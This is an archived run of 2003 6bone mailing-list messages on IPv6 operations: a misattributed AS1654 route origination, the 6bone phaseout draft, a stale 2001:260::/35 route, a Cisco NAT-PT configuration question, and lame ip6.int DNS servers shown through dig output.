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Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
References: <1055099846.25189.58.camel@w1-2-aub.fr.corp.ndsoftware.com>
	<20030608231134.P67740@Space.Net> <u6z1xy34agz.fsf@snaga.sics.se>
From: Lars Albertsson <lalle@sics.se>
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Date: 09 Jun 2003 16:54:58 +0200
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Lars Albertsson <lalle@sics.se> writes:

> Gert Doering <gert@space.net> writes:
> 
> > Hi,
> > 
> > On Sun, Jun 08, 2003 at 09:17:27PM +0200, Nicolas DEFFAYET wrote:
> > >    Network          Next Hop            Metric LocPrf Weight Path
> > > *  2001:210::/35    2001:748:200:a0::6
> > >                                                   100      0 5430 13285
> > > 6939 6939 3320 9112 2847 1654 i
> > 
> > Seconded, I see that as well - 1654 is originating half of the prefixes
> > as their own.  BGP bug or human goof...

Some additional information: It seems that there is some confusion
about the ownership of AS1654, and that we are not the only site
announcing AS1654 for IPv6 routing. I don't know whether that has
anything to do with the problems you saw or not. We are working on
sorting out the ownership issue.

/Lalle

From bob@thefinks.com Tue Jun 10 06:52:46 2003
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6bone Folk,

I have corrected a typo in this version and having heard no other comments 
will now forward it for BCP processing.


Bob

===
>To: IETF-Announce: ;
>From: Internet-Drafts@ietf.org
>Reply-to: Internet-Drafts@ietf.org
>Subject: I-D ACTION:draft-fink-6bone-phaseout-03.txt
>Date: Tue, 10 Jun 2003 07:50:44 -0400
>Sender: owner-ietf-announce@ietf.org
>
>A New Internet-Draft is available from the on-line Internet-Drafts 
>directories.
>
>
>         Title           : 6bone (IPv6 Testing Address Allocation) Phaseout
>         Author(s)       : R. Fink, R. Hinden
>         Filename        : draft-fink-6bone-phaseout-03.txt
>         Pages           : 6
>         Date            : 2003-6-9
>
>The 6bone was established in 1996 by the IETF as an IPv6 Testbed
>network to enable various IPv6 testing as well as to assist in the
>transitioning of IPv6 into the Internet. It operates under the IPv6
>address allocation 3FFE::/16 from RFC 2471. As IPv6 is beginning its
>production deployment it is appropriate to plan for the phaseout of
>the 6bone. This note establishes a plan for a multi-year phaseout of
>the 6bone and its address allocation on the assumption that the IETF
>is the appropriate place to determine this.
>This document is intended to obsolete RFC 2471, 'IPv6 Testing Address
>Allocation', December, 1998.  RFC 2471 will become historic.
>
>A URL for this Internet-Draft is:
>http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-03.txt
>
>To remove yourself from the IETF Announcement list, send a message to
>ietf-announce-request with the word unsubscribe in the body of the message.
>
>Internet-Drafts are also available by anonymous FTP. Login with the username
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>type "cd internet-drafts" and then
>         "get draft-fink-6bone-phaseout-03.txt".
>
>A list of Internet-Drafts directories can be found in
>http://www.ietf.org/shadow.html
>or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>
>
>Internet-Drafts can also be obtained by e-mail.
>
>Send a message to:
>         mailserv@ietf.org.
>In the body type:
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>
>NOTE:   The mail server at ietf.org can return the document in
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><ftp://ftp.ietf.org/internet-drafts/draft-fink-6bone-phaseout-03.txt>


From jordi.palet@consulintel.es Tue Jun 10 07:15:41 2003
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: "6BONE List" <6bone@mailman.isi.edu>
References: <5.2.0.9.0.20030610065121.01cb09e0@mail.addr.com>
Subject: Re: [6bone] Fwd: I-D ACTION:draft-fink-6bone-phaseout-03.txt
Date: Tue, 10 Jun 2003 16:16:23 +0200
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Agreed, thanks !

Regards,
Jordi

----- Original Message ----- 
From: "Bob Fink" <bob@thefinks.com>
To: "6BONE List" <6bone@mailman.isi.edu>
Sent: Tuesday, June 10, 2003 3:52 PM
Subject: [6bone] Fwd: I-D ACTION:draft-fink-6bone-phaseout-03.txt


> 6bone Folk,
> 
> I have corrected a typo in this version and having heard no other comments 
> will now forward it for BCP processing.
> 
> 
> Bob
> 
> ===
> >To: IETF-Announce: ;
> >From: Internet-Drafts@ietf.org
> >Reply-to: Internet-Drafts@ietf.org
> >Subject: I-D ACTION:draft-fink-6bone-phaseout-03.txt
> >Date: Tue, 10 Jun 2003 07:50:44 -0400
> >Sender: owner-ietf-announce@ietf.org
> >
> >A New Internet-Draft is available from the on-line Internet-Drafts 
> >directories.
> >
> >
> >         Title           : 6bone (IPv6 Testing Address Allocation) Phaseout
> >         Author(s)       : R. Fink, R. Hinden
> >         Filename        : draft-fink-6bone-phaseout-03.txt
> >         Pages           : 6
> >         Date            : 2003-6-9
> >
> >The 6bone was established in 1996 by the IETF as an IPv6 Testbed
> >network to enable various IPv6 testing as well as to assist in the
> >transitioning of IPv6 into the Internet. It operates under the IPv6
> >address allocation 3FFE::/16 from RFC 2471. As IPv6 is beginning its
> >production deployment it is appropriate to plan for the phaseout of
> >the 6bone. This note establishes a plan for a multi-year phaseout of
> >the 6bone and its address allocation on the assumption that the IETF
> >is the appropriate place to determine this.
> >This document is intended to obsolete RFC 2471, 'IPv6 Testing Address
> >Allocation', December, 1998.  RFC 2471 will become historic.
> >
> >A URL for this Internet-Draft is:
> >http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-03.txt
> >
> >To remove yourself from the IETF Announcement list, send a message to
> >ietf-announce-request with the word unsubscribe in the body of the message.
> >
> >Internet-Drafts are also available by anonymous FTP. Login with the username
> >"anonymous" and a password of your e-mail address. After logging in,
> >type "cd internet-drafts" and then
> >         "get draft-fink-6bone-phaseout-03.txt".
> >
> >A list of Internet-Drafts directories can be found in
> >http://www.ietf.org/shadow.html
> >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> >
> >
> >Internet-Drafts can also be obtained by e-mail.
> >
> >Send a message to:
> >         mailserv@ietf.org.
> >In the body type:
> >         "FILE /internet-drafts/draft-fink-6bone-phaseout-03.txt".
> >
> >NOTE:   The mail server at ietf.org can return the document in
> >         MIME-encoded form by using the "mpack" utility.  To use this
> >         feature, insert the command "ENCODING mime" before the "FILE"
> >         command.  To decode the response(s), you will need "munpack" or
> >         a MIME-compliant mail reader.  Different MIME-compliant mail readers
> >         exhibit different behavior, especially when dealing with
> >         "multipart" MIME messages (i.e. documents which have been split
> >         up into multiple messages), so check your local documentation on
> >         how to manipulate these messages.
> >
> >
> >Below is the data which will enable a MIME compliant mail reader
> >implementation to automatically retrieve the ASCII version of the
> >Internet-Draft.
> >Content-Type: text/plain
> >Content-ID:     <2003-6-9150801.I-D@ietf.org>
> >
> >ENCODING mime
> >FILE /internet-drafts/draft-fink-6bone-phaseout-03.txt
> >
> ><ftp://ftp.ietf.org/internet-drafts/draft-fink-6bone-phaseout-03.txt>
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

*****************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on-line at:
http://www.ipv6-es.com



From michel@arneill-py.sacramento.ca.us Tue Jun 10 19:42:21 2003
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> Bob Fink wrote:
> 6bone Folk,
> I have corrected a typo in this version and having heard no
> other comments will now forward it for BCP processing.

I'm all for it.

Michel.


From nakahara@mesh.ad.jp Tue Jun 10 21:41:24 2003
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To: 6bone@ISI.EDU
Cc: ix@mesh.ad.jp
From: Kazuhiko NAKAHARA <nakahara@mesh.ad.jp>
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Subject: [6bone] 2001:260::/35 ghost route
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6Bone Folk,

We (BIGLOBE,Japanese ISP provided NEC, AS2518) have migrated
from 2001:260::/35 to 2001:260::/32.

We stopped announcement of 2001:260::/35 on Oct 22, 2002.
However, junk routes are still floadting from Jun 10 (Maybe).

On Jun 10, We got a report from ISP conneced japanese internet
exchange(called NSPIXP6)that it is possible to hear via around
3257, 6762, 3263, 6939 and/or 4716.

So, As temporary handing, We started announcement of
2001:260::/35 on Jun 10, 2003. (time is 20:37 JST<GST+9>)
but still unstable.

Now, We stopped announce of 2001:260::/35 again.

So, could you check
  (1) if you see 2001:260::/35, filter them out.
  (2) if you see 2001:260::/35 from someone other than AS2518,
      please report to ix@mesh.ad.jp
  (3) if you are AS contact for the above ASes (3257, 6762,
      3263, 6939, 4716) check if your router is behaving
      correctly.  

-----
  Kazuhiko NAKAHARA 
  BIGLOBE Design and Operations Div, NEC Corporation

From jwenzel@netline.lu Wed Jun 11 06:26:57 2003
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Subject: RE : [6bone] Cisco, NAT-PT : establish connection from IPv6 to IPv4
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Hello,

First I would like to thanks Joao for his help.
But now, I have a new problem when trying to map the DNS server, or any devices which is not in the directly connected network of the router.

I apologize if I'm on the wrong mailing-list to ask for help, if somebody have good web sites or other information sources about Cisco and NAT-PT, these informations are welcome ! I don't gather a lot of useful tips on Cisco web site ...

I want to access the IPv4 network and internet from the IPv6-only computer PC1, using the ip addresses, I'll try later with names.
There are below the network scheme, an extract of the Cisco 7200 router configuration file, and the results of the tests (using ping) I  performed. I think that the router block some traffic from PC1, I give further information below with the tests and results.
NAT-PT is configured on the router, with static mappings.

PC1's OS is Win 2k Pro SP1, it's configuration is done with :
ipv6 adu 3/2002:1:1::2
ipv6 rtu 2002:1:1::/48 3
ipv6 rtu 2002:1:2::/96 3/2002:1:1::1

From PC1, I can access the IPv4 network A.B.1.0/24, which is directly connected to the router, but I can't reach the other IPv4 addresses with nat translations, even with a static mapping configured (for example to the DNS server).

The first question is, because I have a doubt : Can NAT-PT work in a such network topology ? 
If yes, I think it's a routing problem or a command missing on the router, but I don't find the matter.
I check the rules on the firewall, it shouldn't block my traffic.

Thanks.
Jérôme
											------------
											|DNS Server|
							     			 	------------
                                             			   A.B.2.9  |
							     	      			|
   -----             --------        -----     ----------     ----------------   -----------------
   |PC1|------- f0/0 |Router| f0/1 --|hub|-----|firewall|-----| IPV4 network |---| IPv4 Internet |
   -----             --------        -----     ----------     ----------------   -----------------
2002:1:1::2  2002:1:1::1   A.B.1.2     |    A.B.1.1  A.B.3.1         |
				               |		    	 	         |
			                   -----			       -----
			                   |PC2|			       |PC3|
			                   -----			       -----
                                    A.B.1.3			      A.B.4.5


Router#sh run
Building configuration...

!
hostname Router
!
boot system flash c7200-js-mz.122-15.T1.bin
!
!
!
interface FastEthernet0/0
 no ip address
 duplex auto
 speed auto
 ipv6 address 2002:1:1::1/48
 ipv6 nat
!
interface FastEthernet0/1
 ip address A.B.1.2 255.255.255.0
 duplex auto
 speed auto
 ipv6 nat
!
ip classless
ip route 0.0.0.0 0.0.0.0 A.B.1.1
no ip http server
!
!
!
ipv6 nat v4v6 source A.B.2.9 2002:1:2::A.B.2.9
ipv6 nat v4v6 source A.B.1.1 2002:1:2::A.B.1.1
ipv6 nat v6v4 source 2002:1:1::2 A.B.1.4
ipv6 nat prefix 2002:1:2::/96
!


On the router :
ping ipv4 A.B.1.1 is successful
ping ipv4 A.B.2.9 is successful

On PC1 :
ping ipv6 2002:1:2::A.B.1.1 is successful
ping ipv6 2002:1:2::A.B.2.9 -> request timed out

The command "debug ipv6 nat" on the router shows :
IPv6 NAT: icmp src (2002:1:1::2) -> (A.B.1.4), dst (2002:1:2::A.B.2.9) -> (A.B.2.9)
But there is no reply ...

I use a frame analyser (Ethereal) on PC2, to see the outgoing traffic of the router :
I only see broadcast ARP requests from the router : "who has A.B.2.9 ? Tell A.B.1.2"
When I ping ipv4 A.B.2.9 from router or ping ipv6 2002:1:2::A.B.1.1 from PC1, I capture both request and reply ICMP packets with PC2.

I've pinged PC1 from PC3, it udpates the ipv6 nat translation table, and with "debug ipv6 nat" I can see both requests and replies   packets :
IPv6 NAT: icmp src (A.B.4.5) -> (2002:1:2::A.B.4.5), dst (A.B.1.4) -> (2002:1:1::2)
IPv6 NAT: icmp src (2002:1:1::2) -> (A.B.1.4), dst (2002:1:2::A.B.4.5) -> (A.B.4.5)
Using Ethereal on PC1, I also see the ICMP requests and replies. 
So, PC1 is responding.
When I capture frames with PC2, I see the ICMP requests from PC3 A.B.4.5 to PC1 A.B.1.4, but I don't see the ICMP replies, and I see broadcast ARP requests from  the router : "who has A.B.4.5 ? Tell A.B.1.2"
On the router, the command ping A.B.4.5 is successful.

So, the packets from PC1 seemed to be lost in a black hole somewhere in the router ...

With the command "show ip traffic", I've seen that each time I perform a command like ping ipv6 2002:1:2::A.B.2.9 on PC1 or ping A.B.1.4 on  PC3, it increases the number X in the following counter : "Drop : X encapsulation failed ...".
Encapsulation failed because the router doesn't know where to send the packet ? Or the router doesn't send the packet because  encapsulation has failed for an unknown reason ?
I sometimes wonder that in this case, the router doesn't use the defined "ip route 0.0.0.0 0.0.0.0 A.B.1.1", and so doesn't know where to  send the packets.

The commands "show ipv6 nat" and "show ip packet" displays this :
Ping PC3 from PC1 :
03:09:36: IPv6 NAT: icmp src (2002:1:1::2) -> (A.B.1.4), dst (2002:1:2::A.B.4.5) -> (A.B.4.5)
03:09:37: IP: s=A.B.1.4 (local), d=A.B.4.5 (FastEthernet0/1), len 60, sending
03:09:37: IP: s=A.B.1.4 (local), d=A.B.4.5 (FastEthernet0/1), len 60, encapsulation failed

Ping PC2 from PC1 :
03:10:31: IPv6 NAT: icmp src (A.B.1.3) -> (2002:1:2::A.B.1.3), dst (A.B.1.4) -> (2002:1:1::2)
03:10:32: IP: s=A.B.1.4 (local), d=A.B.1.3 (FastEthernet0/1), len 60, sending

Ping PC3 from router :
03:15:09: IP: s=A.B.4.5 (FastEthernet0/1), d=A.B.1.2 (FastEthernet0/1), len 100, rcvd 3
03:15:09: IP: s=A.B.1.2 (local), d=A.B.4.5 (FastEthernet0/1), len 100, sending

From bob@thefinks.com Wed Jun 11 07:28:17 2003
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Date: Wed, 11 Jun 2003 07:16:33 -0700
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From: Bob Fink <bob@thefinks.com>
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Subject: [6bone] 6bone pTLA 3FFE:4018::/32 allocated to CBR-TPSA
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CBR-TPSA has been allocated pTLA 3FFE:4019::/32 having finished its review 
period.

   <http://whois.6bone.net/cgi-bin/whois?CBR-TPSA>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
now approved by the IETF/IESG as a BCP RFC. We are in the process of 
getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
There will be an announcement of progress soon.]


Thanks,

Bob 


From bob@thefinks.com Fri Jun 13 06:44:31 2003
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6bone Folk,

I have submitted the 6bone-phaseout plan to the IESG for BCP RFC 
processing. It will have a 4 week review on the IETF list, I believe. When 
Randy Bush and Erik Nordmark looked it over they had me change it back to 
Informational RFC, and suggested that I change the wording in section 2:

  "  Thus after the 6bone phaseout date June 6, 2006, it is REQUIRED that
     no 6bone 3FFE prefixes, of any size/length, be used on the Internet
     in any form. "

as the IETF cannot place such requirements on use. So I changed it to:

  "    Thus after the 6bone phaseout date June 6, 2006, it is the intent
      that no 6bone 3FFE prefixes, of any size/length, be used on the
      Internet in any form. Network operators may filter 3FFE prefixes on
      their borders to ensure these prefixes are not misused. "


this new version, which will be the one circulated to the IETF, is at:

<http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-04.txt>


Also, I will be on vacation from today until 30 June so will not be able to 
reply to any email until 1 July,


Thanks,

Bob



From rain@bluecherry.net Sat Jun 14 15:25:32 2003
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Subject: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
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I was wondering if I was the only person seeing this (I don't think
that's the case), or if it's a known problem, or whatever.  I'm also
guessing the maintainers of the nameservers in question read the 6bone
list, but I'm CCing the addresses on the SOA records for each.

y.ip6.int and munnari.oz.au both seem to be returning SERVFAIL for
reverse DNS queries under e.f.f.3.ip6.int:

ip6.int.                86400   IN      NS      y.ip6.int.
ip6.int.                86400   IN      NS      z.ip6.int.
ip6.int.                86400   IN      NS      ns3.nic.fr.
ip6.int.                86400   IN      NS      flag.ep.net.
ip6.int.                86400   IN      NS      imag.imag.fr.
ip6.int.                86400   IN      NS      munnari.oz.au.
;; Received 353 bytes from 137.39.1.3#53(NS.UU.NET) in 81 ms

; <<>> DiG 9.2.2 <<>> 9.2.e.f.f.3.ip6.int any @y.ip6.int
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 21949
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;9.2.e.f.f.3.ip6.int.           IN      ANY

;; Query time: 388 msec
;; SERVER: 3ffe:50e::1#53(y.ip6.int)
;; WHEN: Sat Jun 14 18:16:20 2003
;; MSG SIZE  rcvd: 37


; <<>> DiG 9.2.2 <<>> 9.2.e.f.f.3.ip6.int any @munnari.oz.au
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 289
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;9.2.e.f.f.3.ip6.int.           IN      ANY

;; Query time: 768 msec
;; SERVER: 2001:388:c02:4000::1:21#53(munnari.oz.au)
;; WHEN: Sat Jun 14 18:21:48 2003
;; MSG SIZE  rcvd: 37

(munnari also SERVFAILs over ipv4, y has no ipv4 address)

--=20
Ben Winslow <rain@bluecherry.net>

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From md@Linux.IT Sat Jun 14 19:11:31 2003
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From: "Marco d'Itri" <md@Linux.IT>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
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On Jun 15, Ben Winslow <rain@bluecherry.net> wrote:

 >I was wondering if I was the only person seeing this (I don't think
 >that's the case), or if it's a known problem, or whatever.  I'm also
I think munnari has been lame for ip6.int most of the time, you can find
old threads about this in the archive (but I cannot remember any good
explanation of this situation).
Y used to work some weeks ago, IIRC.


BTW, this is even nicer:
dig +norec 8.1.4.1.1.0.0.2.ip6.int ns @z.ip6.int

--=20
ciao, |
Marco | [1521 suqKOOW.dH4lI]

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From kre@munnari.OZ.AU Sun Jun 15 04:44:56 2003
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From: Robert Elz <kre@munnari.OZ.AU>
To: "Marco d'Itri" <md@Linux.IT>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)? 
In-Reply-To: <20030615021101.GA8735@wonderland.linux.it> 
References: <20030615021101.GA8735@wonderland.linux.it>  <1055629512.16678.12.camel@portal.home> 
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    Date:        Sun, 15 Jun 2003 04:11:01 +0200
    From:        "Marco d'Itri" <md@Linux.IT>
    Message-ID:  <20030615021101.GA8735@wonderland.linux.it>

  | I think munnari has been lame for ip6.int most of the time, you can find
  | old threads about this in the archive (but I cannot remember any good
  | explanation of this situation).

Munnari was lame for this some time ago (some drongo went and changed
things and didn't bother to tell me about it so munnari could be updated).

That was fixed (eventually).

But now I see it has gone lame again...   I will see if I can work out
what changed this time, and get it fixed again.

One would expect that people running primary servers for upper level
domains would have some kind of a clue as to how to go about it.

kre


From pim@ipng.nl Sun Jun 15 08:09:18 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Robert Elz <kre@munnari.OZ.AU>
Cc: "Marco d'Itri" <md@Linux.IT>, 6bone@mailman.isi.edu
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
Message-ID: <20030615150914.GA14123@bfib.colo.bit.nl>
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Hi Kre,

| One would expect that people running primary servers for upper level
| domains would have some kind of a clue as to how to go about it.
Question: are these the same servers supposed to be running the ip6.arpa
tree ?

It was often said that it should be the same set of servers "because
that would be the technically sound solution" but I've seen far too
many problems with the current set. Servers joining and being dropped,
servers forgetting to load zones, otherwise becoming lame for a
delegation.

Can we have any assurance that:
a. admins will be responsible
b. admins will be responsive
c. delegations will remain in place
d. servers will remain reachable, also with IPv6 ?

Thanks.
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From kre@munnari.OZ.AU Sun Jun 15 08:54:21 2003
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cc: "Marco d'Itri" <md@Linux.IT>, 6bone@mailman.isi.edu
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)? 
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References: <20030615150914.GA14123@bfib.colo.bit.nl>  <20030615021101.GA8735@wonderland.linux.it> <1055629512.16678.12.camel@portal.home> <19908.1055677452@munnari.OZ.AU> 
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    Date:        Sun, 15 Jun 2003 17:09:14 +0200
    From:        Pim van Pelt <pim@ipng.nl>
    Message-ID:  <20030615150914.GA14123@bfib.colo.bit.nl>

  | Question: are these the same servers supposed to be running the ip6.arpa
  | tree ?

I don't know for sure, but I think not.   No-one has asked me about
munnari being one of the servers, and the set to which ip6.arpa is
currently delegated looks more like the normal "standard registry"
set.   Which is as you'd expect really.

  | It was often said that it should be the same set of servers "because
  | that would be the technically sound solution"

By whom?   It actually makes almost no difference at all (might potentially
mean that one registration could cause entries in both domains) but
that's about it.

kre


From bmanning@ISI.EDU Mon Jun 16 09:20:05 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200306161619.h5GGJxE00344@boreas.isi.edu>
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
In-Reply-To: <20030615021101.GA8735@wonderland.linux.it> from Marco d'Itri at "Jun 15, 3 04:11:01 am"
To: md@Linux.IT (Marco d'Itri)
Date: Mon, 16 Jun 2003 09:19:59 -0700 (PDT)
Cc: 6bone@ISI.EDU
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% On Jun 15, Ben Winslow <rain@bluecherry.net> wrote:
% 
%  >I was wondering if I was the only person seeing this (I don't think
%  >that's the case), or if it's a known problem, or whatever.  I'm also
% I think munnari has been lame for ip6.int most of the time, you can find
% old threads about this in the archive (but I cannot remember any good
% explanation of this situation).
% Y used to work some weeks ago, IIRC.
% 
% 
% BTW, this is even nicer:
% dig +norec 8.1.4.1.1.0.0.2.ip6.int ns @z.ip6.int
% 
% -- 
% ciao, |
% Marco | [1521 suqKOOW.dH4lI]

	first off, several of these systems are IPv6 -ONLY-
	and there is the interesting issue of route propogation... :(
	that said:

$ dig +norec 8.1.4.1.1.0.0.2.ip6.int ns @z.ip6.int

; <<>> DiG 9.3.0s20021217 <<>> +norec 8.1.4.1.1.0.0.2.ip6.int ns @z.ip6.int
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58647
;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;8.1.4.1.1.0.0.2.ip6.int.       IN      NS

;; AUTHORITY SECTION:
4.1.1.0.0.2.ip6.int.    86400   IN      NS      noserver.


;; Query time: 0 msec
;; SERVER: 3ffe:0:1::c620:242#53(z.ip6.int)
;; WHEN: Mon Jun 16 09:18:05 2003
;; MSG SIZE  rcvd: 63


....  so, whats the big problem here?  other than they were given
a delegation and never registered their nameserverss?


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Mon Jun 16 09:25:25 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200306161625.h5GGPHA04338@boreas.isi.edu>
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
In-Reply-To: <20030615150914.GA14123@bfib.colo.bit.nl> from Pim van Pelt at "Jun 15, 3 05:09:14 pm"
To: pim@ipng.nl (Pim van Pelt)
Date: Mon, 16 Jun 2003 09:25:17 -0700 (PDT)
Cc: kre@munnari.OZ.AU, md@Linux.IT, 6bone@ISI.EDU
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% Hi Kre,
% 
% | One would expect that people running primary servers for upper level
% | domains would have some kind of a clue as to how to go about it.
% Question: are these the same servers supposed to be running the ip6.arpa
% tree ?
% 
% It was often said that it should be the same set of servers "because
% that would be the technically sound solution" but I've seen far too
% many problems with the current set. Servers joining and being dropped,
% servers forgetting to load zones, otherwise becoming lame for a
% delegation.
% 
% Can we have any assurance that:
% a. admins will be responsible
% b. admins will be responsive
% c. delegations will remain in place
% d. servers will remain reachable, also with IPv6 ?


	yes.

	can we have any assurance that:
	a. routes to these servers will be propgated by ISPs
	b. the ietf will quit changing the DNS anchor point
	c. cooperation so that the delegations in one anchor are 
	   reflected in the other anchor.
	d. admins will populate both trees for the next 10 years,
	   about as long as it will take to flush out the resolver
	   code that has been shipping since 1997.

% 
% Thanks.
% -- 
% ---------- - -    - - -+- - -    - - ----------
% Pim van Pelt                 Email: pim@ipng.nl
% http://www.ipng.nl/             IPv6 Deployment
% -----------------------------------------------
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From md@Linux.IT Mon Jun 16 10:24:12 2003
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From: "Marco d'Itri" <md@Linux.IT>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
Message-ID: <20030616172356.GA1521@wonderland.linux.it>
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On Jun 16, Bill Manning <bmanning@ISI.EDU> wrote:

 >	first off, several of these systems are IPv6 -ONLY-
 >	and there is the interesting issue of route propogation... :(
I know this and I punched appropriate holes in my filter, so at least
for me this is not relevant: I can ping them, but Y still replies with
SERVFAIL to queries for "ip6.int NS" or even "e.f.f.3.ip6.int NS".

 >;; AUTHORITY SECTION:
 >4.1.1.0.0.2.ip6.int.    86400   IN      NS      noserver.

 >....  so, whats the big problem here?  other than they were given
 >a delegation and never registered their nameserverss?
I'm not sure who is to blame here, but RIPE happily delegated me
8.1.4.1.1.0.0.2.ip6.int without actually having the parent zone
delegated to them. I opened a ticket, but the hostmaster did not really
look familiar with DNS issues and I am still waiting.

(I suppose that the lame delegation is to stop the flood of queries, but
why force other servers to hit the root for "noserver."?)

-- 
ciao, |
Marco | [1556 paqmiQP4pzWBA]

From andrei@ripe.net Thu Jun 19 00:16:37 2003
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To: "Marco d'Itri" <md@Linux.IT>
CC: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: [6bone] y.ip6.int, munnari.oz.au broken (ip6.int)?
References: <20030615021101.GA8735@wonderland.linux.it> <200306161619.h5GGJxE00344@boreas.isi.edu> <20030616172356.GA1521@wonderland.linux.it>
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Dear Marco,

Marco d'Itri wrote:
> On Jun 16, Bill Manning <bmanning@ISI.EDU> wrote:
> 
>  >	first off, several of these systems are IPv6 -ONLY-
>  >	and there is the interesting issue of route propogation... :(
> I know this and I punched appropriate holes in my filter, so at least
> for me this is not relevant: I can ping them, but Y still replies with
> SERVFAIL to queries for "ip6.int NS" or even "e.f.f.3.ip6.int NS".
> 
>  >;; AUTHORITY SECTION:
>  >4.1.1.0.0.2.ip6.int.    86400   IN      NS      noserver.
> 
>  >....  so, whats the big problem here?  other than they were given
>  >a delegation and never registered their nameserverss?
> I'm not sure who is to blame here, but RIPE happily delegated me
> 8.1.4.1.1.0.0.2.ip6.int without actually having the parent zone
> delegated to them. I opened a ticket, but the hostmaster did not really
> look familiar with DNS issues and I am still waiting.

The delegation path is now restored. The problem was caused by a slight 
miscommunication between ours and the parent zone's administrators.

Sorry for the delay.

> 
> (I suppose that the lame delegation is to stop the flood of queries, but
> why force other servers to hit the root for "noserver."?)
> 

Regards,

Andrei Robachevsky
CTO, RIPE NCC



From gert@Space.Net Fri Jun 27 07:04:12 2003
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Date: Fri, 27 Jun 2003 16:04:08 +0200
From: Gert Doering <gert@space.net>
To: Lars Albertsson <lalle@sics.se>
Cc: Gert Doering <gert@space.net>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu,
   Raimundas Tuminauskas <raimis@litnet.lt>,
   Linas Gudonavicius <linas@litnet.lt>, Markus Paluschek <warex@vsh.pl>,
   ipv6@sics.se
Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
Message-ID: <20030627160408.X67740@Space.Net>
References: <1055099846.25189.58.camel@w1-2-aub.fr.corp.ndsoftware.com> <20030608231134.P67740@Space.Net> <u6z1xy34agz.fsf@snaga.sics.se> <u6z8ysb2tdp.fsf@snaga.sics.se>
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Hi,

On Mon, Jun 09, 2003 at 04:54:58PM +0200, Lars Albertsson wrote:
> > > Seconded, I see that as well - 1654 is originating half of the prefixes
> > > as their own.  BGP bug or human goof...
> 
> Some additional information: It seems that there is some confusion
> about the ownership of AS1654, and that we are not the only site
> announcing AS1654 for IPv6 routing. I don't know whether that has
> anything to do with the problems you saw or not. We are working on
> sorting out the ownership issue.

To followup on this (because I'm curious) - has this been sorted out?  Two
different organizations using the same AS number for routing doesn't 
sound very healthy.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55442  (55636)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From daniel@kewlio.net Fri Jun 27 07:47:55 2003
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Reply-To: "Daniel Austin" <daniel@kewlio.net>
From: "Daniel Austin" <daniel@kewlio.net>
To: "Gert Doering" <gert@space.net>, "Lars Albertsson" <lalle@sics.se>
Cc: "Gert Doering" <gert@space.net>,
   "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>,
   <6bone@mailman.isi.edu>, "Raimundas Tuminauskas" <raimis@litnet.lt>,
   "Linas Gudonavicius" <linas@litnet.lt>, "Markus Paluschek" <warex@vsh.pl>,
   <ipv6@sics.se>
References: <1055099846.25189.58.camel@w1-2-aub.fr.corp.ndsoftware.com> <20030608231134.P67740@Space.Net> <u6z1xy34agz.fsf@snaga.sics.se> <u6z8ysb2tdp.fsf@snaga.sics.se> <20030627160408.X67740@Space.Net>
